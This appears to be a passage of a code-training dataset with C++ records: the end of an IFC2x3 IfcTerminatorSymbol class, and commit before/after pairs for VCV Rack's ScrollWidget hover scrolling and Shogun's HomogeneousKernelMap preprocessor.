version.\n\/\/ The full license is in Licence.txt file included with this \n\/\/ distribution or is available at :\n\/\/     http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/ Lesser General Public License for more details.\n\n#include \"precompiled.h\"\n\n#include <ifc2x3\/IfcTerminatorSymbol.h>\n\n#include <ifc2x3\/CopyOp.h>\n#include <ifc2x3\/IfcAnnotationCurveOccurrence.h>\n#include <ifc2x3\/IfcAnnotationSymbolOccurrence.h>\n#include <ifc2x3\/IfcDimensionCurve.h>\n#include <ifc2x3\/Visitor.h>\n#include <Step\/BaseExpressDataSet.h>\n#include <Step\/BaseObject.h>\n#include <Step\/ClassType.h>\n#include <Step\/Referenced.h>\n#include <Step\/SPFFunctions.h>\n#include <Step\/logger.h>\n\n\n#include <string>\n\nusing namespace ifc2x3;\n\nIfcTerminatorSymbol::IfcTerminatorSymbol(Step::Id id, Step::SPFData *args) : IfcAnnotationSymbolOccurrence(id, args) {\n    m_annotatedCurve = NULL;\n}\n\nIfcTerminatorSymbol::~IfcTerminatorSymbol() {\n}\n\nbool IfcTerminatorSymbol::acceptVisitor(Step::BaseVisitor *visitor) {\n    return static_cast< Visitor * > (visitor)->visitIfcTerminatorSymbol(this);\n}\n\nconst std::string &IfcTerminatorSymbol::type() const {\n    return IfcTerminatorSymbol::s_type.getName();\n}\n\nconst Step::ClassType &IfcTerminatorSymbol::getClassType() {\n    return IfcTerminatorSymbol::s_type;\n}\n\nconst Step::ClassType &IfcTerminatorSymbol::getType() const {\n    return IfcTerminatorSymbol::s_type;\n}\n\nbool IfcTerminatorSymbol::isOfType(const Step::ClassType &t) const {\n    return IfcTerminatorSymbol::s_type == t ? true : IfcAnnotationSymbolOccurrence::isOfType(t);\n}\n\nIfcAnnotationCurveOccurrence *IfcTerminatorSymbol::getAnnotatedCurve() {\n    if (Step::BaseObject::inited()) {\n        return m_annotatedCurve.get();\n    }\n    else {\n        return NULL;\n    }\n}\n\nconst IfcAnnotationCurveOccurrence *IfcTerminatorSymbol::getAnnotatedCurve() const {\n    IfcTerminatorSymbol * deConstObject = const_cast< IfcTerminatorSymbol * > (this);\n    return deConstObject->getAnnotatedCurve();\n}\n\nvoid IfcTerminatorSymbol::setAnnotatedCurve(const Step::RefPtr< IfcAnnotationCurveOccurrence > &value) {\n    if (dynamic_cast< IfcDimensionCurve * > (m_annotatedCurve.get()) != NULL) {\n        ((IfcDimensionCurve *) (m_annotatedCurve.get()))->m_annotatedBySymbols.erase(this);\n    }\n\tm_annotatedCurve = value;\n\tif (dynamic_cast< IfcDimensionCurve * > (m_annotatedCurve.get()) != NULL) {\n        ((IfcDimensionCurve *) (m_annotatedCurve.get()))->m_annotatedBySymbols.insert(this);\n    }\n\n}\n\nvoid IfcTerminatorSymbol::unsetAnnotatedCurve() {\n    if (dynamic_cast< IfcDimensionCurve * > (m_annotatedCurve.get()) != NULL) {\n        ((IfcDimensionCurve *) (m_annotatedCurve.get()))->m_annotatedBySymbols.erase(this);\n    }\n    m_annotatedCurve = Step::getUnset(getAnnotatedCurve());\n}\n\nbool IfcTerminatorSymbol::testAnnotatedCurve() const {\n    return !Step::isUnset(getAnnotatedCurve());\n}\n\nbool IfcTerminatorSymbol::init() {\n    bool status = IfcAnnotationSymbolOccurrence::init();\n    std::string arg;\n    if (!status) {\n        return false;\n    }\n    arg = m_args->getNext();\n    if (arg == \"$\" || arg == \"*\") {\n        m_annotatedCurve = NULL;\n    }\n    else {\n        m_annotatedCurve = static_cast< IfcAnnotationCurveOccurrence * > (m_expressDataSet->get(Step::getIdParam(arg)));\n    }\n    return true;\n}\n\nvoid IfcTerminatorSymbol::copy(const IfcTerminatorSymbol &obj, const CopyOp &copyop) {\n    IfcAnnotationSymbolOccurrence::copy(obj, copyop);\n    setAnnotatedCurve((IfcAnnotationCurveOccurrence*)copyop(obj.m_annotatedCurve.get()));\n    return;\n}\n\nIFC2X3_EXPORT Step::ClassType IfcTerminatorSymbol::s_type(\"IfcTerminatorSymbol\");\n<|endoftext|>"}
{"text":"<commit_before>#include \"ui\/ScrollWidget.hpp\"\n#include \"app.hpp\"\n\n\nnamespace rack {\nnamespace ui {\n\n\nScrollWidget::ScrollWidget() {\n\tcontainer = new widget::Widget;\n\taddChild(container);\n\n\thorizontalScrollBar = new ScrollBar;\n\thorizontalScrollBar->orientation = ScrollBar::HORIZONTAL;\n\thorizontalScrollBar->visible = false;\n\taddChild(horizontalScrollBar);\n\n\tverticalScrollBar = new ScrollBar;\n\tverticalScrollBar->orientation = ScrollBar::VERTICAL;\n\tverticalScrollBar->visible = false;\n\taddChild(verticalScrollBar);\n}\n\nvoid ScrollWidget::scrollTo(math::Rect r) {\n\tmath::Rect bound = math::Rect::fromMinMax(r.getBottomRight().minus(box.size), r.pos);\n\toffset = offset.clampSafe(bound);\n}\n\nvoid ScrollWidget::draw(const DrawArgs &args) {\n\tnvgScissor(args.vg, RECT_ARGS(args.clipBox));\n\tWidget::draw(args);\n\tnvgResetScissor(args.vg);\n}\n\nvoid ScrollWidget::step() {\n\tWidget::step();\n\n\t\/\/ Clamp scroll offset\n\tmath::Rect containerBox = container->getChildrenBoundingBox();\n\tmath::Rect offsetBounds = containerBox;\n\toffsetBounds.size = offsetBounds.size.minus(box.size);\n\toffset = offset.clamp(offsetBounds);\n\n\t\/\/ Update the container's position from the offset\n\tcontainer->box.pos = offset.neg().round();\n\n\t\/\/ Update scrollbar offsets and sizes\n\tmath::Vec scrollbarOffset = offset.minus(containerBox.pos).div(offsetBounds.size);\n\tmath::Vec scrollbarSize = box.size.div(containerBox.size);\n\n\thorizontalScrollBar->visible = (0.0 < scrollbarSize.x && scrollbarSize.x < 1.0);\n\tverticalScrollBar->visible = (0.0 < scrollbarSize.y && scrollbarSize.y < 1.0);\n\thorizontalScrollBar->offset = scrollbarOffset.x;\n\tverticalScrollBar->offset = scrollbarOffset.y;\n\thorizontalScrollBar->size = scrollbarSize.x;\n\tverticalScrollBar->size = scrollbarSize.y;\n\n\t\/\/ Reposition and resize scroll bars\n\tmath::Vec inner = box.size.minus(math::Vec(verticalScrollBar->box.size.x, horizontalScrollBar->box.size.y));\n\thorizontalScrollBar->box.pos.y = inner.y;\n\tverticalScrollBar->box.pos.x = inner.x;\n\thorizontalScrollBar->box.size.x = verticalScrollBar->visible ? inner.x : box.size.x;\n\tverticalScrollBar->box.size.y = horizontalScrollBar->visible ? inner.y : box.size.y;\n}\n\nvoid ScrollWidget::onButton(const event::Button &e) {\n\tWidget::onButton(e);\n\tif (e.isConsumed())\n\t\treturn;\n\n\t\/\/ Consume right button only if the scrollbars are visible\n\tif (!(horizontalScrollBar->visible || verticalScrollBar->visible))\n\t\treturn;\n\n\tif (e.button == GLFW_MOUSE_BUTTON_MIDDLE) {\n\t\te.consume(this);\n\t}\n}\n\nvoid ScrollWidget::onDragStart(const event::DragStart &e) {\n\tif (e.button == GLFW_MOUSE_BUTTON_MIDDLE) {\n\t\te.consume(this);\n\t}\n}\n\nvoid ScrollWidget::onDragMove(const event::DragMove &e) {\n\t\/\/ Scroll only if the scrollbars are visible\n\tif (!(horizontalScrollBar->visible || verticalScrollBar->visible))\n\t\treturn;\n\n\toffset = offset.minus(e.mouseDelta);\n}\n\nvoid ScrollWidget::onHoverScroll(const event::HoverScroll &e) {\n\tOpaqueWidget::onHoverScroll(e);\n\tif (e.isConsumed())\n\t\treturn;\n\n\tmath::Vec scrollDelta = e.scrollDelta;\n\t\/\/ Flip coordinates if shift is held\n\tif ((APP->window->getMods() & WINDOW_MOD_MASK) == GLFW_MOD_SHIFT)\n\t\tscrollDelta = scrollDelta.flip();\n\n\toffset = offset.minus(scrollDelta);\n\te.consume(this);\n}\n\n\n} \/\/ namespace ui\n} \/\/ namespace rack\n<commit_msg>Handle HoverScroll only if scrollbars are visible.<commit_after>#include \"ui\/ScrollWidget.hpp\"\n#include \"app.hpp\"\n\n\nnamespace rack {\nnamespace ui {\n\n\nScrollWidget::ScrollWidget() {\n\tcontainer = new widget::Widget;\n\taddChild(container);\n\n\thorizontalScrollBar = new ScrollBar;\n\thorizontalScrollBar->orientation = ScrollBar::HORIZONTAL;\n\thorizontalScrollBar->visible = false;\n\taddChild(horizontalScrollBar);\n\n\tverticalScrollBar = new ScrollBar;\n\tverticalScrollBar->orientation = ScrollBar::VERTICAL;\n\tverticalScrollBar->visible = false;\n\taddChild(verticalScrollBar);\n}\n\nvoid ScrollWidget::scrollTo(math::Rect r) {\n\tmath::Rect bound = math::Rect::fromMinMax(r.getBottomRight().minus(box.size), r.pos);\n\toffset = offset.clampSafe(bound);\n}\n\nvoid ScrollWidget::draw(const DrawArgs &args) {\n\tnvgScissor(args.vg, RECT_ARGS(args.clipBox));\n\tWidget::draw(args);\n\tnvgResetScissor(args.vg);\n}\n\nvoid ScrollWidget::step() {\n\tWidget::step();\n\n\t\/\/ Clamp scroll offset\n\tmath::Rect containerBox = container->getChildrenBoundingBox();\n\tmath::Rect offsetBounds = containerBox;\n\toffsetBounds.size = offsetBounds.size.minus(box.size);\n\toffset = offset.clamp(offsetBounds);\n\n\t\/\/ Update the container's position from the offset\n\tcontainer->box.pos = offset.neg().round();\n\n\t\/\/ Update scrollbar offsets and sizes\n\tmath::Vec scrollbarOffset = offset.minus(containerBox.pos).div(offsetBounds.size);\n\tmath::Vec scrollbarSize = box.size.div(containerBox.size);\n\n\thorizontalScrollBar->visible = (0.0 < scrollbarSize.x && scrollbarSize.x < 1.0);\n\tverticalScrollBar->visible = (0.0 < scrollbarSize.y && scrollbarSize.y < 1.0);\n\thorizontalScrollBar->offset = scrollbarOffset.x;\n\tverticalScrollBar->offset = scrollbarOffset.y;\n\thorizontalScrollBar->size = scrollbarSize.x;\n\tverticalScrollBar->size = scrollbarSize.y;\n\n\t\/\/ Reposition and resize scroll bars\n\tmath::Vec inner = box.size.minus(math::Vec(verticalScrollBar->box.size.x, horizontalScrollBar->box.size.y));\n\thorizontalScrollBar->box.pos.y = inner.y;\n\tverticalScrollBar->box.pos.x = inner.x;\n\thorizontalScrollBar->box.size.x = verticalScrollBar->visible ? inner.x : box.size.x;\n\tverticalScrollBar->box.size.y = horizontalScrollBar->visible ? inner.y : box.size.y;\n}\n\nvoid ScrollWidget::onButton(const event::Button &e) {\n\tWidget::onButton(e);\n\tif (e.isConsumed())\n\t\treturn;\n\n\t\/\/ Consume right button only if the scrollbars are visible\n\tif (!(horizontalScrollBar->visible || verticalScrollBar->visible))\n\t\treturn;\n\n\tif (e.button == GLFW_MOUSE_BUTTON_MIDDLE) {\n\t\te.consume(this);\n\t}\n}\n\nvoid ScrollWidget::onDragStart(const event::DragStart &e) {\n\tif (e.button == GLFW_MOUSE_BUTTON_MIDDLE) {\n\t\te.consume(this);\n\t}\n}\n\nvoid ScrollWidget::onDragMove(const event::DragMove &e) {\n\t\/\/ Scroll only if the scrollbars are visible\n\tif (!(horizontalScrollBar->visible || verticalScrollBar->visible))\n\t\treturn;\n\n\toffset = offset.minus(e.mouseDelta);\n}\n\nvoid ScrollWidget::onHoverScroll(const event::HoverScroll &e) {\n\tOpaqueWidget::onHoverScroll(e);\n\tif (e.isConsumed())\n\t\treturn;\n\n\t\/\/ Scroll only if the scrollbars are visible\n\tif (!(horizontalScrollBar->visible || verticalScrollBar->visible))\n\t\treturn;\n\n\tmath::Vec scrollDelta = e.scrollDelta;\n\t\/\/ Flip coordinates if shift is held\n\tif ((APP->window->getMods() & WINDOW_MOD_MASK) == GLFW_MOD_SHIFT)\n\t\tscrollDelta = scrollDelta.flip();\n\n\toffset = offset.minus(scrollDelta);\n\te.consume(this);\n}\n\n\n} \/\/ namespace ui\n} \/\/ namespace rack\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 2012 Viktor Gal\n * Copyright (C) 2007-12 Andrea Vedaldi and Brian Fulkerson.\n *\/\n\n#include <shogun\/io\/SGIO.h>\n#include <shogun\/preprocessor\/HomogeneousKernelMap.h>\n\n#include <math.h>\n#include <iostream>\n\nusing namespace shogun;\n\nCHomogeneousKernelMap::CHomogeneousKernelMap () \n\t: CSimplePreprocessor<float64_t> ()\n{\n\t\t\t\t\n}\n\nCHomogeneousKernelMap::CHomogeneousKernelMap \n\t(HomogeneousKernelType kernel, HomogeneousKernelMapWindowType wType,\n\t float64_t gamma, uint64_t order, float64_t period)\n\t: CSimplePreprocessor<float64_t> (),\n\t\tm_kernel (kernel),\n\t\tm_window (wType),\n\t\tm_gamma (gamma),\n\t\tm_period (period),\n\t\tm_order (order)\n\t\t\n{\n\tinit ();\n}\n\nCHomogeneousKernelMap::~CHomogeneousKernelMap() {\n\tm_table.destroy_vector ();\n}\n\nbool CHomogeneousKernelMap::init (CFeatures* features) {\n\tASSERT(features->get_feature_class()==C_SIMPLE);\n\tASSERT(features->get_feature_type()==F_DREAL);\n\t\n\treturn true;\n}\n\nvoid CHomogeneousKernelMap::cleanup () {\n\tm_table.destroy_vector ();\n}\n\n\nvoid CHomogeneousKernelMap::init () {\n\tSG_DEBUG (\"Initialising homogeneous kernel map...\\n\");\n\tASSERT (m_gamma > 0) ;\n\n  ASSERT (m_kernel == HomogeneousKernelIntersection ||\n          m_kernel == HomogeneousKernelChi2 ||\n          m_kernel == HomogeneousKernelJS);\n\n  ASSERT (m_window == HomogeneousKernelMapWindowUniform ||\n          m_window == HomogeneousKernelMapWindowRectangular);\n\n\tif (m_period < 0) {\n\t  switch (m_window) {\n\t  case HomogeneousKernelMapWindowUniform:\n\t    switch (m_kernel) {\n\t\t    case HomogeneousKernelChi2:         \n\t\t\t\t\tm_period = 5.86 * CMath::sqrt (static_cast<float64_t> (m_order))  + 3.65; \n\t\t\t\t\tbreak;\n\t\t    case HomogeneousKernelJS:\n\t\t      m_period = 6.64 * CMath::sqrt (static_cast<float64_t> (m_order))  + 7.24; \n\t\t\t\t\tbreak;\n\t\t    case HomogeneousKernelIntersection: \n\t\t\t\t\tm_period = 2.38 * CMath::log (m_order + 0.8) + 5.6;\n\t\t\t\t\tbreak;\n\t    }\n\t    break;\n\t  case HomogeneousKernelMapWindowRectangular:\n\t    switch (m_kernel) {\n\t\t    case HomogeneousKernelChi2:\n\t\t\t\t\tm_period = 8.80 * CMath::sqrt (m_order + 4.44) - 12.6; \n\t\t\t\t\tbreak;\n\t\t    case HomogeneousKernelJS:\n\t\t\t\t\tm_period = 9.63 * CMath::sqrt (m_order + 1.00) - 2.93;\n\t\t\t\t\tbreak;\n\t\t    case HomogeneousKernelIntersection: \n\t\t\t\t\tm_period = 2.00 * CMath::log (m_order + 0.99) + 3.52;\n\t\t\t\t\tbreak;\n\t    }\n\t    break;\n\t  }\n\t  m_period = CMath::max (m_period, 1.0) ;\n\t}\n\n  m_numSubdivisions = 8 + 8*m_order;\n  m_subdivision = 1.0 \/ m_numSubdivisions;\n  m_minExponent = -20;\n  m_maxExponent = 8;\n  \n  int tableHeight = 2*m_order + 1 ;\n  int tableWidth = m_numSubdivisions * (m_maxExponent - m_minExponent + 1);\n\tsize_t numElements = (tableHeight * tableWidth + 2*(1+m_order));\n\tm_table = SGVector<float64_t> (NULL, numElements, true);\n\tm_table.vlen = numElements;\n\tm_table.vector = SG_CALLOC (float64_t, numElements);\n\t\n\t\/* check whether allocation was ok *\/\n\tif (m_table.vector == NULL) {\n\t\tthrow ShogunException (\"CHomogeneousKernelMap::init: could not allocate memory for vector\");\n\t}\n\t\n\tint exponent;\n  uint64_t i = 0, j = 0;\n  float64_t* tablep = m_table.vector;\n  float64_t* kappa = m_table.vector + tableHeight * tableWidth;\n  float64_t* freq = kappa + (1+m_order);\n  float64_t L = 2.0 * CMath::PI \/ m_period;\n\n  \/* precompute the sampled periodicized spectrum *\/\n  while (i <= m_order) {\n    freq[i] = j;\n    kappa[i] = get_smooth_spectrum (j * L);\n    ++ j;\n    if (kappa[i] > 0 || j >= 3*i) ++ i;\n  }\n\n  \/* fill table *\/\n  for (exponent  = m_minExponent ;\n       exponent <= m_maxExponent ; ++ exponent) {\n\n    float64_t x, Lxgamma, Llogx, xgamma;\n    float64_t sqrt2kappaLxgamma;\n    float64_t mantissa = 1.0;\n\n    for (i = 0 ; i < m_numSubdivisions;\n         ++i, mantissa += m_subdivision) {\n      x = ldexp (mantissa, exponent);\n      xgamma = CMath::pow (x, m_gamma);\n      Lxgamma = L * xgamma;\n      Llogx = L * CMath::log (x);\n\t\t\t\n      *tablep++ = CMath::sqrt (Lxgamma * kappa[0]);\n      for (j = 1 ; j <= m_order; ++j) {\n        sqrt2kappaLxgamma = CMath::sqrt (2.0 * Lxgamma * kappa[j]);\n        *tablep++ = sqrt2kappaLxgamma * CMath::cos (freq[j] * Llogx);\n        *tablep++ = sqrt2kappaLxgamma * CMath::sin (freq[j] * Llogx);\n      }\n    } \/* next mantissa *\/\n  } \/* next exponent *\/\n\n\t\/* register variables *\/\n\tm_parameters->add ((machine_int_t*) &m_kernel, \"kernel\", \"Kernel type to use.\");\n\tm_parameters->add ((machine_int_t*) &m_window, \"window\", \"Window type to use.\");\n\tm_parameters->add (&m_gamma, \"gamma\", \"Homogeneity order.\");\n\tm_parameters->add (&m_period, \"period\", \"Approximation order\");\n\tm_parameters->add (&m_numSubdivisions, \"numSubdivisions\", \"The number of sublevels\");\n\tm_parameters->add (&m_subdivision, \"subdivision\", \"subdivision.\");\n\tm_parameters->add (&m_order, \"order\", \"The order\");\n\tm_parameters->add (&m_minExponent, \"minExponent\", \"Minimum exponent\");\n\tm_parameters->add (&m_maxExponent, \"maxExponent\", \"Maximum exponent\");\n\tm_parameters->add (&m_table, \"table\", \"Lookup-table\");\n}\n\nSGMatrix<float64_t> CHomogeneousKernelMap::apply_to_feature_matrix (CFeatures* features) {\n\tCSimpleFeatures<float64_t>* simple_features = (CSimpleFeatures<float64_t>*)features;\n\tint32_t num_vectors = simple_features->get_num_vectors ();\n\tint32_t num_features = simple_features->get_num_features ();\n\tSGMatrix<float64_t> result (num_features*(2*m_order+1), num_vectors);\n\t\n\tfor (int i = 0; i < num_vectors; ++i) {\n\t\tSGVector<float64_t> v = simple_features->get_feature_vector (i);\n\t\tSGVector<float64_t> col (result.get_column_vector (i), result.num_rows);\n\t\tapply_to_vector (v, col);\n\t}\n\t\n\treturn result;\n}\n\n\/\/\/ apply preproc on single feature vector\nSGVector<float64_t> CHomogeneousKernelMap::apply_to_feature_vector (SGVector<float64_t> vector) {\n\tuint64_t featureDimension = 2*m_order+1;\n\tuint64_t m_target_dim = vector.vlen * featureDimension;\n\tSGVector<float64_t> result = SGVector<float64_t> (m_target_dim);\n\n\tapply_to_vector (vector, result);\n\t\n\treturn result;\n}\n\nvoid CHomogeneousKernelMap::setKernelType (HomogeneousKernelType k) {\n\tm_kernel = k;\n}\n\nHomogeneousKernelType CHomogeneousKernelMap::getKernelType () const {\n\treturn m_kernel;\n}\n\nvoid CHomogeneousKernelMap::setWindowType (HomogeneousKernelMapWindowType w) {\n\tm_window = w;\n}\n\nHomogeneousKernelMapWindowType CHomogeneousKernelMap::getWindowType () const {\n\treturn m_window;\n}\n\nvoid CHomogeneousKernelMap::setGamma (float64_t g) {\n\tm_gamma = g;\n}\n\nfloat64_t CHomogeneousKernelMap::getGamma (float64_t g) const {\n\treturn m_gamma;\n}\n\nvoid CHomogeneousKernelMap::setOrder (uint64_t o) {\n\tm_order = o;\n}\n\nuint64_t CHomogeneousKernelMap::getOrder () const {\n\treturn m_order;\n}\n\nvoid CHomogeneousKernelMap::setPeriod (float64_t p) {\n\tm_period = p;\n}\n\nfloat64_t CHomogeneousKernelMap::getPeriod () const {\n\treturn m_period;\n}\n\ninline float64_t\nCHomogeneousKernelMap::get_spectrum (float64_t omega) const {\n  switch (m_kernel) {\n    case HomogeneousKernelIntersection:\n      return (2.0 \/ CMath::PI) \/ (1 + 4 * omega*omega);\n    case HomogeneousKernelChi2:\n      return 2.0 \/ (CMath::exp (CMath::PI * omega) + CMath::exp (-CMath::PI * omega)) ;\n    case HomogeneousKernelJS:\n      return (2.0 \/ CMath::log (4.0)) *\n      2.0 \/ (CMath::exp (CMath::PI * omega) + CMath::exp (-CMath::PI * omega)) \/\n      (1 + 4 * omega*omega);\n    default:\n\t\t\t\/* throw exception *\/\n\t\t\tthrow ShogunException (\"CHomogeneousKernelMap::get_spectrum: no valid kernel has been set!\");\n  }\n}\n\ninline float64_t \nCHomogeneousKernelMap::sinc (float64_t x) const {\n  if (x == 0.0) return 1.0 ;\n  return CMath::sin (x) \/ x;\n}\n\ninline float64_t\nCHomogeneousKernelMap::get_smooth_spectrum (float64_t omega) const {\n  float64_t kappa_hat = 0;\n  float64_t omegap ;\n  float64_t epsilon = 1e-2;\n  float64_t const omegaRange = 2.0 \/ (m_period * epsilon);\n  float64_t const domega = 2 * omegaRange \/ (2 * 1024.0 + 1);\n  switch (m_window) {\n    case HomogeneousKernelMapWindowUniform:\n      kappa_hat = get_spectrum (omega);\n      break;\n    case HomogeneousKernelMapWindowRectangular:\n      for (omegap = - omegaRange ; omegap <= omegaRange ; omegap += domega) {\n        float64_t win = sinc ((m_period\/2.0) * omegap);\n        win *= (m_period\/(2.0*CMath::PI));\n        kappa_hat += win * get_spectrum (omegap + omega);\n      }\n      kappa_hat *= domega;\n      \/* project on the postivie orthant (see PAMI) *\/\n      kappa_hat = CMath::max (kappa_hat, 0.0);\n      break;\n    default:\n\t\t\t\/* throw exception *\/\n\t\t\tthrow ShogunException (\"CHomogeneousKernelMap::get_smooth_spectrum: no valid kernel has been set!\");\n  }\n  return kappa_hat;\n}\n\ninline void CHomogeneousKernelMap::apply_to_vector (const SGVector<float64_t>& in_v, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tSGVector<float64_t>& out_v) const \n{\n\t\/* assert for in and out vectors *\/\n\tASSERT (in_v.vlen > 0 && out_v.vlen);\n\tASSERT (in_v.vector != NULL && out_v.vector != NULL);\n\t\n\tuint64_t featureDimension = 2*m_order+1;\n\t\n\tfor (int k = 0; k < in_v.vlen; ++k) {\n\t  \/* break value into exponent and mantissa *\/\n\t  int exponent;\n\t  int unsigned j;\n\t  float64_t mantissa = frexp (in_v[k], &exponent);\n\t  float64_t sign = (mantissa >= 0.0) ? +1.0 : -1.0;\n\t  mantissa *= 2*sign;\n\t  exponent -- ;\n\n\t  if (mantissa == 0 ||\n\t      exponent <= m_minExponent ||\n\t      exponent >= m_maxExponent) \n\t\t{\n\t    for (j = 0 ; j <= m_order ; ++j) {\n\t      out_v[k*featureDimension+j] = 0.0;\n\/\/\t\t\t\t*destination = (T) 0.0 ;\n\/\/\t      destination += stride ;\n\t    }\n\t    continue;\n\t  }\n\n\t  \/\/uint64_t featureDimension = 2*m_order+1;\n    float64_t const * v1 = m_table.vector +\n    \t(exponent - m_minExponent) * m_numSubdivisions * featureDimension;\n    float64_t const * v2;\n    float64_t f1, f2;\n\n    mantissa -= 1.0;\n    while (mantissa >= m_subdivision) {\n      mantissa -= m_subdivision;\n      v1 += featureDimension;\n    }\n\n    v2 = v1 + featureDimension;\n    for (j = 0 ; j < featureDimension ; ++j) {\n      f1 = *v1++;\n      f2 = *v2++;\n\n\t\t\tout_v[k*featureDimension+j] = sign * ((f2 - f1) * (m_numSubdivisions * mantissa) + f1);\n\/\/      *destination = sign * ((f2 - f1) * (m_numSubdivisions * mantissa) + f1) ;\n\/\/      destination += stride ;\n    }\n\t}\t\n}<commit_msg>Remove memory allocation check SG_MALLOC checks itself if the memory allocation was successful or not<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 2012 Viktor Gal\n * Copyright (C) 2007-12 Andrea Vedaldi and Brian Fulkerson.\n *\/\n\n#include <shogun\/io\/SGIO.h>\n#include <shogun\/preprocessor\/HomogeneousKernelMap.h>\n\n#include <math.h>\n#include <iostream>\n\nusing namespace shogun;\n\nCHomogeneousKernelMap::CHomogeneousKernelMap () \n\t: CSimplePreprocessor<float64_t> ()\n{\n\t\t\t\t\n}\n\nCHomogeneousKernelMap::CHomogeneousKernelMap \n\t(HomogeneousKernelType kernel, HomogeneousKernelMapWindowType wType,\n\t float64_t gamma, uint64_t order, float64_t period)\n\t: CSimplePreprocessor<float64_t> (),\n\t\tm_kernel (kernel),\n\t\tm_window (wType),\n\t\tm_gamma (gamma),\n\t\tm_period (period),\n\t\tm_order (order)\n\t\t\n{\n\tinit ();\n}\n\nCHomogeneousKernelMap::~CHomogeneousKernelMap() {\n\tm_table.destroy_vector ();\n}\n\nbool CHomogeneousKernelMap::init (CFeatures* features) {\n\tASSERT(features->get_feature_class()==C_SIMPLE);\n\tASSERT(features->get_feature_type()==F_DREAL);\n\t\n\treturn true;\n}\n\nvoid CHomogeneousKernelMap::cleanup () {\n\tm_table.destroy_vector ();\n}\n\n\nvoid CHomogeneousKernelMap::init () {\n\tSG_DEBUG (\"Initialising homogeneous kernel map...\\n\");\n\tASSERT (m_gamma > 0) ;\n\n  ASSERT (m_kernel == HomogeneousKernelIntersection ||\n          m_kernel == HomogeneousKernelChi2 ||\n          m_kernel == HomogeneousKernelJS);\n\n  ASSERT (m_window == HomogeneousKernelMapWindowUniform ||\n          m_window == HomogeneousKernelMapWindowRectangular);\n\n\tif (m_period < 0) {\n\t  switch (m_window) {\n\t  case HomogeneousKernelMapWindowUniform:\n\t    switch (m_kernel) {\n\t\t    case HomogeneousKernelChi2:         \n\t\t\t\t\tm_period = 5.86 * CMath::sqrt (static_cast<float64_t> (m_order))  + 3.65; \n\t\t\t\t\tbreak;\n\t\t    case HomogeneousKernelJS:\n\t\t      m_period = 6.64 * CMath::sqrt (static_cast<float64_t> (m_order))  + 7.24; \n\t\t\t\t\tbreak;\n\t\t    case HomogeneousKernelIntersection: \n\t\t\t\t\tm_period = 2.38 * CMath::log (m_order + 0.8) + 5.6;\n\t\t\t\t\tbreak;\n\t    }\n\t    break;\n\t  case HomogeneousKernelMapWindowRectangular:\n\t    switch (m_kernel) {\n\t\t    case HomogeneousKernelChi2:\n\t\t\t\t\tm_period = 8.80 * CMath::sqrt (m_order + 4.44) - 12.6; \n\t\t\t\t\tbreak;\n\t\t    case HomogeneousKernelJS:\n\t\t\t\t\tm_period = 9.63 * CMath::sqrt (m_order + 1.00) - 2.93;\n\t\t\t\t\tbreak;\n\t\t    case HomogeneousKernelIntersection: \n\t\t\t\t\tm_period = 2.00 * CMath::log (m_order + 0.99) + 3.52;\n\t\t\t\t\tbreak;\n\t    }\n\t    break;\n\t  }\n\t  m_period = CMath::max (m_period, 1.0) ;\n\t}\n\n  m_numSubdivisions = 8 + 8*m_order;\n  m_subdivision = 1.0 \/ m_numSubdivisions;\n  m_minExponent = -20;\n  m_maxExponent = 8;\n  \n  int tableHeight = 2*m_order + 1 ;\n  int tableWidth = m_numSubdivisions * (m_maxExponent - m_minExponent + 1);\n\tsize_t numElements = (tableHeight * tableWidth + 2*(1+m_order));\n\tm_table = SGVector<float64_t> (NULL, numElements, true);\n\tm_table.vlen = numElements;\n\tm_table.vector = SG_CALLOC (float64_t, numElements);\n\t\t\n\tint exponent;\n  uint64_t i = 0, j = 0;\n  float64_t* tablep = m_table.vector;\n  float64_t* kappa = m_table.vector + tableHeight * tableWidth;\n  float64_t* freq = kappa + (1+m_order);\n  float64_t L = 2.0 * CMath::PI \/ m_period;\n\n  \/* precompute the sampled periodicized spectrum *\/\n  while (i <= m_order) {\n    freq[i] = j;\n    kappa[i] = get_smooth_spectrum (j * L);\n    ++ j;\n    if (kappa[i] > 0 || j >= 3*i) ++ i;\n  }\n\n  \/* fill table *\/\n  for (exponent  = m_minExponent ;\n       exponent <= m_maxExponent ; ++ exponent) {\n\n    float64_t x, Lxgamma, Llogx, xgamma;\n    float64_t sqrt2kappaLxgamma;\n    float64_t mantissa = 1.0;\n\n    for (i = 0 ; i < m_numSubdivisions;\n         ++i, mantissa += m_subdivision) {\n      x = ldexp (mantissa, exponent);\n      xgamma = CMath::pow (x, m_gamma);\n      Lxgamma = L * xgamma;\n      Llogx = L * CMath::log (x);\n\t\t\t\n      *tablep++ = CMath::sqrt (Lxgamma * kappa[0]);\n      for (j = 1 ; j <= m_order; ++j) {\n        sqrt2kappaLxgamma = CMath::sqrt (2.0 * Lxgamma * kappa[j]);\n        *tablep++ = sqrt2kappaLxgamma * CMath::cos (freq[j] * Llogx);\n        *tablep++ = sqrt2kappaLxgamma * CMath::sin (freq[j] * Llogx);\n      }\n    } \/* next mantissa *\/\n  } \/* next exponent *\/\n\n\t\/* register variables *\/\n\tm_parameters->add ((machine_int_t*) &m_kernel, \"kernel\", \"Kernel type to use.\");\n\tm_parameters->add ((machine_int_t*) &m_window, \"window\", \"Window type to use.\");\n\tm_parameters->add (&m_gamma, \"gamma\", \"Homogeneity order.\");\n\tm_parameters->add (&m_period, \"period\", \"Approximation order\");\n\tm_parameters->add (&m_numSubdivisions, \"numSubdivisions\", \"The number of sublevels\");\n\tm_parameters->add (&m_subdivision, \"subdivision\", \"subdivision.\");\n\tm_parameters->add (&m_order, \"order\", \"The order\");\n\tm_parameters->add (&m_minExponent, \"minExponent\", \"Minimum exponent\");\n\tm_parameters->add (&m_maxExponent, \"maxExponent\", \"Maximum exponent\");\n\tm_parameters->add (&m_table, \"table\", 